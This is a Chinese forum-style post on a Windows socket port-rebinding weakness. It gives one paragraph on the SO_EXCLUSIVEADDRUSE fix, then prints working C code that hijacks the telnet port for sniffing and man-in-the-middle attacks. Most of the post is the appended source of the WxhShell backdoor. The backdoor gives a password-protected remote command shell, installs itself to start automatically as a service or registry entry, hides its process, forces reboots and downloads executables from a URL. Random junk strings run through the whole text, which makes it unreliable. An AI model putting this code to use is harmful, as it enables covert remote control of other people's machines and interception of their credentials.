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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LU@1Gol s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BbL]0i p)m5|GH24 saddr.sin_family = AF_INET; xDS]k]/(T Oi@|4mo saddr.sin_addr.s_addr = htonl(INADDR_ANY); 79o=HiOF99 Ty7`& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NweGK 0$=U\[og 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '0o^T 7C YuJ{@"H 这意味着什么?意味着可以进行如下的攻击: c@nh>G:y{& 0pH$MkQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,":_CY4( tWaGCxaE 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0G Q8}r 4 +p1` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,K30.E W+4Bx=Mj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,[dvs&-* }w>UNGUMh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SD@ 0X[ &h7
n>q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ip*^eS^ &
\"cV0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pj BBXI1i c]$$ap #include \TDn q!)? #include :C0)[L #include 3.ShAL #include ;/IXw>O(/ DWORD WINAPI ClientThread(LPVOID lpParam); #8BI`.t)j int main() R'atg
9 { f^IB:e#j; WORD wVersionRequested; } ,Dk6w$ DWORD ret; VOg'_#I WSADATA wsaData; ^![7X'!;pt BOOL val; #P!M"_z SOCKADDR_IN saddr; /,$V/q+ SOCKADDR_IN scaddr; a`eb9o# int err; (b"q(:5oX SOCKET s; Z;0<k;#T(p SOCKET sc; ?UeV5<TewS int caddsize; H_1&>@ 3 HANDLE mt; 8R(l~ DWORD tid; ?Ho> wVersionRequested = MAKEWORD( 2, 2 ); SFFJyRCz err = WSAStartup( wVersionRequested, &wsaData ); oBo |eRIt| if ( err != 0 ) { z 61F q printf("error!WSAStartup failed!\n"); LA/Qm/T return -1; #)S&Z><< } z XU r34jF saddr.sin_family = AF_INET; wMCgLh\wi @s,kx.S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KhL%ov =xSf-\F saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [ThAvQ_$ saddr.sin_port = htons(23); taO(\FOm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +u&3pK>f { [.CP,Ly printf("error!socket failed!\n"); |=:hUp Jp return -1;
u6MU
@? } (rBYE[@, val = TRUE; E9@Sc>e //SO_REUSEADDR选项就是可以实现端口重绑定的 5as5{"l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2{oQ { oMoco tQ;$ printf("error!setsockopt failed!\n"); O]!o|w( return -1; 'UuHyC2Ha3 } IQ
xi@7%& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D)Jac@,0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <P]%{msGH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O+[s4] 4#ikdjB; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }` <DKO/ { )YwLj&e4tf ret=GetLastError(); oP:R1< printf("error!bind failed!\n"); _C|j"f/} return -1; QDKY7"H } Jq8v69fyQ listen(s,2); $IdU while(1) [N"=rY4G { _({wJ$aYC caddsize = sizeof(scaddr); nFn} //接受连接请求 f=8{cK0j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vRDs~'f if(sc!=INVALID_SOCKET) )Z\Zw~L { s; sr(34
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jI<_(T if(mt==NULL) 7E5=Qx { d-8{}Q printf("Thread Creat Failed!\n"); \+x#aN\ break; 6X!jNh$oF } ]c6h'} } 10N0?K" CloseHandle(mt); \zOsq5} } !lM.1gTTC closesocket(s); [Ov/&jD" WSACleanup(); :0bjPQj return 0; z$M-UxY } 4`Jf_C DWORD WINAPI ClientThread(LPVOID lpParam) J]Rh+@r. { lfr^NxO U SOCKET ss = (SOCKET)lpParam; mSO7 r F SOCKET sc; sG^{
cn unsigned char buf[4096]; .;(a;f+{; SOCKADDR_IN saddr; 19%zcYTe long num; C3
BoH& DWORD val; d vo|9 > DWORD ret; JcfGe4 //如果是隐藏端口应用的话,可以在此处加一些判断 _c(h{dn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^)a j,U[ saddr.sin_family = AF_INET; _'n]rQ' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9XUk.Nek saddr.sin_port = htons(23); b%0@nu4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dh%DALZ8t { b.9[Vf_G printf("error!socket failed!\n"); HJd{j,M return -1; ?>gr9w\ } S9'Xsh val = 100; ;3%Y@FS@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UVW4KUxR { vjA!+_I6 ret = GetLastError(); @twi<U_ return -1; r>sXvzv } /fU-0a8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #CW{y?= { #<#-B v ret = GetLastError(); w?Cho</Xu return -1; V0%a/Hi v
} J5z\e@?.0\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >X=V Ph8 { /Kd'!lMuz printf("error!socket connect failed!\n"); 7 ;2>kgf~ closesocket(sc); $6 4{Ff closesocket(ss); 0w vAtK|Q return -1; *&V"x=ba, } cyh;1Q while(1) Z&7Yl(| { !Fs<r)j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,8cVv->u/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 +6^hp-G7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0<^Qj.(9 num = recv(ss,buf,4096,0); Vo|[Z)MO` if(num>0) 6uX,J(V, send(sc,buf,num,0); 64^l/D( else if(num==0) i<q_d7-W' break; PI"6d)S2 num = recv(sc,buf,4096,0); ='-/JH~ if(num>0) 5XuQQ!` send(ss,buf,num,0); R38
\&F else if(num==0) Yjl:i*u/ break; 8Au W>7_ } D u_;!E closesocket(ss); yQ&C]{>TS closesocket(sc); (`R
heEg@f return 0 ; &!FI!T
-WH } itcM-? fUOQ(BGp HYZp=*eb ========================================================== S>Gb
Jt(] z f>(Y7M 下边附上一个代码,,WXhSHELL o|_9%o52' _BvGEM`o ========================================================== WmRu3O IGlM}
?x #include "stdafx.h" #vAqqAS`, V?-2FK] #include <stdio.h> M'T[L%AP #include <string.h> 5v sn'=yN #include <windows.h> AKS. XW #include <winsock2.h> |:SIyXGbY #include <winsvc.h> ^S)t;t@x #include <urlmon.h> mcs!A/]< m\_v{1g #pragma comment (lib, "Ws2_32.lib") 57_AJT hR #pragma comment (lib, "urlmon.lib") Iv u'0vF _{GD\Ai_W #define MAX_USER 100 // 最大客户端连接数 8v=t-GJW #define BUF_SOCK 200 // sock buffer E
0@u| #define KEY_BUFF 255 // 输入 buffer ]Y$jc m';4`Y5- #define REBOOT 0 // 重启 AtqsrYj
#define SHUTDOWN 1 // 关机 :4LWm<P l7Wdbx5x0 #define DEF_PORT 5000 // 监听端口 oxJAI4{y
4 J<&?Hb*| #define REG_LEN 16 // 注册表键长度 omT^jh #define SVC_LEN 80 // NT服务名长度 zQ(`pld !wZIXpeL // 从dll定义API u)%/df qzZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L D%SLJ: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pj5:=d8z( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "#h/sAIs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +F>erdV JZJb&q){ // wxhshell配置信息 K
28s<i` struct WSCFG { H8m[:K]_H int ws_port; // 监听端口 hE'>8 { char ws_passstr[REG_LEN]; // 口令 $8Z4jo int ws_autoins; // 安装标记, 1=yes 0=no =%B}8$.| char ws_regname[REG_LEN]; // 注册表键名
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char ws_svcname[REG_LEN]; // 服务名 <y#@v G char ws_svcdisp[SVC_LEN]; // 服务显示名 i1 GQ=@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 P~PM $e char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O8-Z >; int ws_downexe; // 下载执行标记, 1=yes 0=no y!|4]/G]?t char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" (@bq@0g char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n;>r )r(e\_n }; /2 qxJvZ G{zxP%[E // default Wxhshell configuration Ml)<4@ struct WSCFG wscfg={DEF_PORT, v7f[$s$m "xuhuanlingzhe", V5 Gy|X 1, a;&0u> "Wxhshell", 3.rl^Cq1 "Wxhshell", 7_eV.'h "WxhShell Service", 6H0aHCM "Wrsky Windows CmdShell Service", \7e4t "Please Input Your Password: ", :J+ANIRI 1, N5tFEV'G " http://www.wrsky.com/wxhshell.exe", %~0]o@LW7 "Wxhshell.exe" !lp7}[k<y }; {
3 "jn !|cM<}TF, // 消息定义模块 xX8c>p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8L`wib2 char *msg_ws_prompt="\n\r? for help\n\r#>"; \\Z?v,XsS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; yz)Nco] char *msg_ws_ext="\n\rExit."; 4% 6@MQ[ char *msg_ws_end="\n\rQuit."; 8A'SMJi char *msg_ws_boot="\n\rReboot..."; `u8(qGg7GF char *msg_ws_poff="\n\rShutdown..."; ghk"XJ| char *msg_ws_down="\n\rSave to "; <irr.O _J,*0~O$ char *msg_ws_err="\n\rErr!"; {RD9j1 char *msg_ws_ok="\n\rOK!"; q^L"@Q5; tn |H~iF{ char ExeFile[MAX_PATH]; D<[kbt5^7 int nUser = 0; 'a~F'FN$ HANDLE handles[MAX_USER]; \8k4v#wH int OsIsNt; Tq8U5#NF P|a|4Bb+fW SERVICE_STATUS serviceStatus; #=Whh
9-d SERVICE_STATUS_HANDLE hServiceStatusHandle; {H
3wL q{!ft9|K\d // 函数声明 ;U? 323Z int Install(void); )W1[{? int Uninstall(void); w ;:{ int DownloadFile(char *sURL, SOCKET wsh); Q0L1!}w
int Boot(int flag);
9q2x} void HideProc(void); Jb)xzUhES int GetOsVer(void); ~SwGZ int Wxhshell(SOCKET wsl); }#nd&ND void TalkWithClient(void *cs); ?O9| int CmdShell(SOCKET sock); #5X+.!L int StartFromService(void); b>' c
int StartWxhshell(LPSTR lpCmdLine); hF1Lj=x ]v_u2f' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (62Sc] VOID WINAPI NTServiceHandler( DWORD fdwControl ); -8SZ}J l?HC-_Pbh // 数据结构和表定义 u!McPM8Yk SERVICE_TABLE_ENTRY DispatchTable[] = c2PBYFCyC { ]oKHS$W9 {wscfg.ws_svcname, NTServiceMain}, %htwq ]rZd {NULL, NULL} /K<>OyR? }; iS`ok R l)g[s // 自我安装 Y*S(uqM int Install(void) IYhn* { I"D}amuv char svExeFile[MAX_PATH]; ;20sh^~ HKEY key; JRDIGS_~ strcpy(svExeFile,ExeFile); ^+Vf*YY
8 /^`do3a} // 如果是win9x系统,修改注册表设为自启动 LXRIo2ynuw if(!OsIsNt) { $Ut1vp1$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =bQ\BY# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :=K+~?
RegCloseKey(key); gbu)bqu2x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z/pxZB~" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 R>!jw RegCloseKey(key); O#)YbaE return 0; +Ecn } qh6Q#s>tH } |gfG\fL3V } 161IWos else { | [`1@`5SL- // 如果是NT以上系统,安装为系统服务 \CYKj_c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &p55Cg@e) if (schSCManager!=0) B06W(y,3Q> { L(HAAqRnJ SC_HANDLE schService = CreateService 5$*=;ls>J (
~vMJ?P@ schSCManager, ZD<e$PxxCd wscfg.ws_svcname, O
2+taB wscfg.ws_svcdisp, f~f)6XU| SERVICE_ALL_ACCESS, =@d->d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iVb7>d9} SERVICE_AUTO_START, 2WB`+oWox SERVICE_ERROR_NORMAL, c(s: f@ 1 svExeFile, ?4_ME3$t NULL, t*Z4&Sy^ NULL, .F0Q<s9 NULL, t24.u+O NULL, %D`j3cEp@ NULL QF$s([ ); (?[%u0%_ if (schService!=0) :{aiw?1 { +O7GgySx CloseServiceHandle(schService); HzAw
rC CloseServiceHandle(schSCManager); g!`^!Q/($ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sLc,Dx"+ strcat(svExeFile,wscfg.ws_svcname); N <M6~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v
`;Hd8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yxi* 4R RegCloseKey(key); { ^R>H|~ return 0; 9e;:(jl^ } pR!m } |Pv)&'B" CloseServiceHandle(schSCManager); j$P`/-N } $@~sO0q } z#6(PZC} ,]tMZ?n8 return 1; m-Qy6"eW } l(8@?t^; #d$lN}8 // 自我卸载 4@M`BH` int Uninstall(void) 9dva]$^:*1 { }eSrJgF4M HKEY key; :,.HJ[Vg& jEL"Q?# if(!OsIsNt) { ((6?b5[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {v2[x W RegDeleteValue(key,wscfg.ws_regname); Ys<z% RegCloseKey(key); )hD77(c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s@*i RegDeleteValue(key,wscfg.ws_regname); {O4&HW% RegCloseKey(key); U XOf return 0; |J~A )Bw? } +)_#j/ } jPs{Mr< } b .cBg.a else { 5
axt\ ]<u%jTQREd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u0%bv\$m if (schSCManager!=0) 9T<k|b[6 { "71Y{WQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v|nt(-JX if (schService!=0) <=%G%V_s { LKg9{0Y: if(DeleteService(schService)!=0) { U[hokwZ CloseServiceHandle(schService);
k|cP]p4, CloseServiceHandle(schSCManager); ;b 'L2 return 0; N({-&A.N } _RWH$L9 CloseServiceHandle(schService); 6Z;D`X,5 } "||'
-(0 CloseServiceHandle(schSCManager); Rpxg
5 } {#z[iiB } +a^0Q
F-7 1+xi1w}3a return 1; [=>[ 2Ty } 4H`B]Zt7 HC|
]Au // 从指定url下载文件 w]US-7 int DownloadFile(char *sURL, SOCKET wsh) w=[ITQ|W% { QM{B(zH HRESULT hr; (w
Q,($@ char seps[]= "/"; ^j2z\yo char *token; H:mcex char *file; Li\b,_C char myURL[MAX_PATH]; jOL=vG char myFILE[MAX_PATH]; 9jllW[`2F \\Nt^j3qR strcpy(myURL,sURL); 0RN 7hpf&` token=strtok(myURL,seps); J5}?<Dd: while(token!=NULL) Z*.rv t { Q>TNzh file=token; jV#1d8qm token=strtok(NULL,seps); R xc } G9CL}=lJ, J!yK/*sO, GetCurrentDirectory(MAX_PATH,myFILE); M[L@ej strcat(myFILE, "\\"); 0<nW
nD,z strcat(myFILE, file); s 4n<k]d send(wsh,myFILE,strlen(myFILE),0); AH^'E send(wsh,"...",3,0); 6df`]sc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o}yA{<" if(hr==S_OK) |oR#j
` return 0; vhN6_XD else m[Qr>= " return 1; e<"sZK 3(1UIu } 4hW:c0 tD]vx`0> // 系统电源模块 W 2A!BaH% int Boot(int flag) 5?TX.h9B4 { )9+H[ HANDLE hToken; E>F6!qYm TOKEN_PRIVILEGES tkp; H`7T;`Yb UFeQ%oRa8 if(OsIsNt) { }U**)" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )a$sx} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H:o=gP60] tkp.PrivilegeCount = 1; M+7jJ?n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kMg[YQ]OC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); avUdvV- if(flag==REBOOT) { `-5gsJ
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 35YDP|XZb return 0; @ZtvpL}e }
TrBtTqH) else { X&!($*/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S~GS:E# return 0; ?Xqkf> } 'N/u<`) } cgR8+o else { t]xR`Rr;X if(flag==REBOOT) { UhSaqq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5w</Ga return 0; Q1x=@lXR } 3&B- w else { (>gb9n
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <M\#7.]( return 0; @y,>cDg } #W/ATsDt } jr^btVOI#\ /=KEM gI? return 1; K%;=i2: } AdRK )L ephvvj~zW4 // win9x进程隐藏模块 KnUVR!H| void HideProc(void) !ZayN { P#AS")Sj 4K
>z?jd HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qG#ZYcVec if ( hKernel != NULL ) O*c<m, { l@>@2CB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /&yc?Ui ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 LsJ}c FreeLibrary(hKernel); OOzXA%<%c } #m3!U(Og` _hEr,IX=J return; ]x6rP } =@MJEo` D v R!
y# // 获取操作系统版本 4C9k0]k2 int GetOsVer(void) 6e"Lod_ L { ,m5tO OSVERSIONINFO winfo; Bm&6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;t4YI7E* GetVersionEx(&winfo); (.kzJ\x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HaQox.v% return 1; ccy q~ else @E=77Jn[px return 0; o RK:{?Y } )-\qo#0l 'v5q/l // 客户端句柄模块 B\+uRiD8w int Wxhshell(SOCKET wsl) 18>v\Hi< { fiLlOr%r SOCKET wsh; Bx|h)e9 struct sockaddr_in client; rf]x5%ij DWORD myID; rg I Z |]b,% ?,U while(nUser<MAX_USER) fRp(&%8E { X5=I{eY} int nSize=sizeof(client); fD%20P`. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NBA`@K~4 if(wsh==INVALID_SOCKET) return 1; MaZS|Zei[ FDuIm,NI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G'{&*]Z\: if(handles[nUser]==0) f\H1$q\p\ closesocket(wsh); 4j<[3~:0
o else 1eI_F8I U nUser++; ,vuC0{C^ } s$ ?;C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ZS.6{vr mcxD#+H 3 return 0; )QI#szv6 } 7nZ3u_~ imyfki $B // 关闭 socket _Zxo<}w}y void CloseIt(SOCKET wsh) >".@; { -cP1,>Ahv closesocket(wsh); 0+AMN- nUser--; N\Ab0mDOV. ExitThread(0); ;&MnPFmq } `k(m2k? kv<(N // 客户端请求句柄 Asj<u!L void TalkWithClient(void *cs) j? Vs"d| { ts
r{-4V o+Q2lO5 SOCKET wsh=(SOCKET)cs; -0<ZN(?| char pwd[SVC_LEN]; SUD~@]N1 char cmd[KEY_BUFF]; :)%cL8Nz]$ char chr[1]; Yh{5O3(; int i,j; $ SZIJe"K <Ik5S1<h$H while (nUser < MAX_USER) { #It!D5A kkXe= f% if(wscfg.ws_passstr) { Jv!f6*&< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gwFW+*h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6xu%M&ht //ZeroMemory(pwd,KEY_BUFF); OXbC\^qo@ i=0; *?+2%zP while(i<SVC_LEN) { h7AO5"6 k;r[m,$ // 设置超时 u/FC\xJc fd_set FdRead; (iht
LFp struct timeval TimeOut; ..=lM:13| FD_ZERO(&FdRead); 1G'pT$5& FD_SET(wsh,&FdRead); co'qVsOiH TimeOut.tv_sec=8; :N' TimeOut.tv_usec=0; ;s#]."v_= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (N5"'`NZA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fyxc4-D ^1Bk*?Yx\x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y (=0 pwd =chr[0]; |7!B k$(vA if(chr[0]==0xd || chr[0]==0xa) { $)'LbOe pwd=0; ?',Wn3A break; \\35}
9 } XnRm9% i++; ^=qV)j } Omph( ^}lL@Bd| // 如果是非法用户,关闭 socket $SfY<j,R if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c*R18,5- } >]2 ^5C; [~?6jnp send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bG+Gg*0p send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IEWl
I ,2P/[ : while(1) { ^Zlbs
goZ zR?1iV.] ZeroMemory(cmd,KEY_BUFF); qipS`:TER 1+Vei<H$ // 自动支持客户端 telnet标准 MPLeqk$; j=0; tZ:fOM while(j<KEY_BUFF) { ACF_;4%& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .:tR*Kst`7 cmd[j]=chr[0]; "WH
&BhQYD if(chr[0]==0xa || chr[0]==0xd) { 'lmjZ{k cmd[j]=0; 0UQ
DB5u break; T7N\b]?j@Y } ,QLy}=N j++; tR_DN } o_ r{cnu ^$<:~qq! // 下载文件 }{v0}-~@ if(strstr(cmd,"http://")) { S4OOm[8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); J$-1odL0Z if(DownloadFile(cmd,wsh)) jI$7vmO send(wsh,msg_ws_err,strlen(msg_ws_err),0); nyOvB#f else !RN9wXS7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o@YEd d } ~!_UDD else { WrR8TYq9D] @"m+9ZY switch(cmd[0]) { 8qT^=K
$ lLEEre // 帮助 )7Oj case '?': { M*dou_Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +\J+?jOC4S break; ")w~pZE&+ } q'jInwY|x // 安装 =HMuAUa. case 'i': { oM,UQ!x< if(Install()) vQ[ TcV send(wsh,msg_ws_err,strlen(msg_ws_err),0); (R!.=95@ else q4Y'yp`?K; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t<cWMx5ra break; ##U/Wa3 } h\8bo= // 卸载 p(A[ah_ case 'r': { I2?g'tz if(Uninstall()) +lJD7=%K]Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Fjax else h5[.G! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {tnhP^C3> break; q{7+N1
" } 5(y Q-/6C+ // 显示 wxhshell 所在路径 ?$b*)< case 'p': { 9A}nZ1Y char svExeFile[MAX_PATH]; _61tE strcpy(svExeFile,"\n\r"); ;(LC{jY strcat(svExeFile,ExeFile); $oZV 54 send(wsh,svExeFile,strlen(svExeFile),0); J#G\7'?{ break; 5ma~Pjt8} } ['l}* // 重启 S#|5&SR case 'b': { -J++b2R\% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `_M&zN if(Boot(REBOOT)) 6)9X+U@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1@`mpm#Y else { 8uB6C0,6? closesocket(wsh); o[nr) ExitThread(0); <2PO3w?Z } 5Veybchy " break; k7bfgb{ } SY+$8^ // 关机 :UDe\zcd" case 'd': { PL*kjrLu7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G88g@Exk if(Boot(SHUTDOWN)) C-VkXk send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;3N>m|?D= else { 4+au6ABy closesocket(wsh); 5i&+.?(Z= ExitThread(0); vv`,H~M6 } K$~Ja break; \@*D;-b } fngk<$lvg // 获取shell !*=+E%7 case 's': { 1.q
a//'RW CmdShell(wsh); %;YERO! closesocket(wsh); fvw&y+|y! ExitThread(0); :JG2xtn break; YDiru } hkR Jqta) // 退出 q=uJ^N case 'x': { qISzn04 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?r(Bu CloseIt(wsh); wfBf&Z0{ break; LF_am*F } N`!=z++G // 离开 Rs1JCP=d8 case 'q': { "\x\P)j0> send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2]-xmS>|b closesocket(wsh); Z$ Mc{ WSACleanup(); Tg#%5~IX exit(1); 2ee((vO& break; x'`L(C } t+O7dZt%r } sqk$q pV6 } ,2^zX]dgM (ysDs[?\ // 提示信息 |[
,|S{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jxA*Gg3cT5 } c^BeT; } X5Ff2@."y| ^[-3qi return; N+0`Jm } <!.Qn
Y 5SmgE2 } // shell模块句柄 1N\-Ku int CmdShell(SOCKET sock) 9N{"ob
Z { *61G<I STARTUPINFO si; a gxR
V ZeroMemory(&si,sizeof(si)); @1G`d53N si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q~AK0W si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 73'.TReK PROCESS_INFORMATION ProcessInfo; 99..] char cmdline[]="cmd"; 'P<T,:z? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =;@?bTmqD return 0; BX6]d:S } A+1>n^^_< :ODG]-QF // 自身启动模式 {w|KWGk2 int StartFromService(void) B3iU# { 9W@Tf typedef struct Fwv(J_'q { fW.)!EPO DWORD ExitStatus; p}R3AJ DWORD PebBaseAddress; qox31pnS DWORD AffinityMask; i2+vUl|;Z DWORD BasePriority; >6zXr. ULONG UniqueProcessId; a76`"(W ULONG InheritedFromUniqueProcessId; V61.UEN } PROCESS_BASIC_INFORMATION; zWEt< `1M 4GTB82V$ PROCNTQSIP NtQueryInformationProcess; gay6dj^ >\c"U1%E static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +idp1SJ4 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?.b.mkJ l:rT{l=8* HANDLE hProcess; a#:K"Mf. PROCESS_BASIC_INFORMATION pbi; ^zVBS7`J .|9o`mF7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !]z6?kUK if(NULL == hInst ) return 0; S`?cs^? gw);b)&mx g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Wi+7_) 